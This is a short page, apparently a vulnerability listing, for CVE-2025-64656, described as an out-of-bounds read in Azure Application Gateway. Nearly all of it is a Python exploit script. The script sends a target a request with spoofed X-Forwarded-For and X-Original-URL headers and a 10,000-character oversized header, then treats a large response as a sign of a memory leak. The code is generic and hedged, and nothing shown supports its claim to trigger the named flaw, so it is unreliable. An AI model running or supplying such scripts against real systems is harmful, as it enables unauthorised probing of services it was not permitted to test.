CVE-2025-64656 Microsoft Azure Application Gateway越界读取权限提升漏洞

import requests import sys # CVE-2025-64656 PoC - Out-of-bounds read in Application Gateway # Target: Microsoft Azure Application Gateway def exploit_oob_read(target_url): """ Exploit for CVE-2025-64656: OOB read vulnerability This PoC demonstrates sending a crafted request that may trigger the out-of-bounds read condition in Application Gateway. """ headers = { 'User-Agent': 'Mozilla/5.0', 'X-Forwarded-For': '127.0.0.1', 'X-Original-URL': '/admin/config' } # Crafted payload with oversized header value # May trigger OOB read when processed by Application Gateway oversized_payload = 'A' * 10000 headers['X-Custom-Header'] = oversized_payload # Target the affected endpoint target = f"{target_url}/api/v1/config" try: print(f"[*] Sending crafted request to {target}") response = requests.get(target, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Response headers: {response.headers}") # Check for signs of OOB read (unusual response size) if len(response.text) > 8000: print("[!] Potential OOB read detected - unusual response size") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") sys.exit(1) target_url = sys.argv[1] exploit_oob_read(target_url)